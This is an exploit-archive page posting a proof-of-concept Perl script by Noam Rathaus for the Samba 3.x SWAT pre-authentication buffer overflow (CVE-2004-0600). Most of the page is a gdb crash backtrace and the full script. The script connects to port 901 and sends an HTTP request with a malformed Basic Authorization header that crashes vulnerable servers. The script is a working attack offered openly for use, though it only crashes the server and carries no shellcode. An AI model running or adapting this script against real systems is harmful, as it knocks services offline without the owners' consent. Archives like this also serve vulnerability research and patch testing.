exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sambaPoC.txt

sambaPoC.txt
Posted Jul 23, 2004
Authored by Noam Rathaus | Site beyondsecurity.com

Proof of concept exploit code for the Samba 3.x swat preauthentication buffer overflow vulnerability.

tags | exploit, overflow, proof of concept
advisories | CVE-2004-0600
SHA-256 | 4158f15155b3674337e624ebd8a866125068f737a7539d02866f5178e49c89ab

sambaPoC.txt

Change Mirror Download
Hi,

The following is a brief proof of concept exploit code for the vulnerability
mentioned in "Evgeny Demidov" <demidov@gleg.net>'s advisory: Samba 3.x swat
preauthentication buffer overflow

Running the perl script against a vulnerable SWAT server will cause:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30853]
0x410957af in memcpy () from /lib/tls/libc.so.6
(gdb) bt
#0 0x410957af in memcpy () from /lib/tls/libc.so.6
#1 0xbffff340 in ?? ()
#2 0x00000001 in ?? ()
#3 0x080e34e7 in ?? ()
#4 0xbffff5e5 in ?? ()
#5 0x082919a0 in ?? ()
#6 0xffffffff in ?? ()
#7 0x080e08f0 in ?? ()
#8 0x082919a0 in ?? ()
#9 0xffffffff in ?? ()
#10 0x080e7090 in ?? ()
#11 0x0c0b8fae in ?? ()
#12 0xbffff5e5 in ?? ()
#13 0x00000000 in ?? ()
#14 0xbffff5a8 in ?? ()
#15 0x0806c97d in ?? ()
#16 0xbffff5e5 in ?? ()
#17 0x0815fd76 in ?? ()
#18 0x00000006 in ?? ()
#19 0x41150ebc in ?? () from /lib/tls/libc.so.6
#20 0x081c8480 in ?? ()
#21 0x4108ae2f in _IO_list_resetlock () from /lib/tls/libc.so.6
#22 0xbffff3b4 in ?? ()
#23 0x081c8480 in ?? ()
#24 0x081c887f in ?? ()
#25 0x00000000 in ?? ()
#26 0x00000000 in ?? ()
#27 0xbffff3b4 in ?? ()
#28 0xbffff4cc in ?? ()
#29 0x00000400 in ?? ()
#30 0x4108dda4 in mallopt () from /lib/tls/libc.so.6
#31 0xbffff3b4 in ?? ()
#32 0x08162fd9 in ?? ()
#33 0x41151888 in __after_morecore_hook () from /lib/tls/libc.so.6
#34 0x4108e3c8 in mallopt () from /lib/tls/libc.so.6
#35 0x00000000 in ?? ()


Exploit:
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712
Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (<$remote>)
{
&nbsp;print $_;
}
print "\n";

close $remote;

--
Thanks
Noam Rathaus
CTO
Beyond Security Ltd.

Join the SecuriTeam community on Orkut:
http://www.orkut.com/Community.aspx?cmm=44441
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close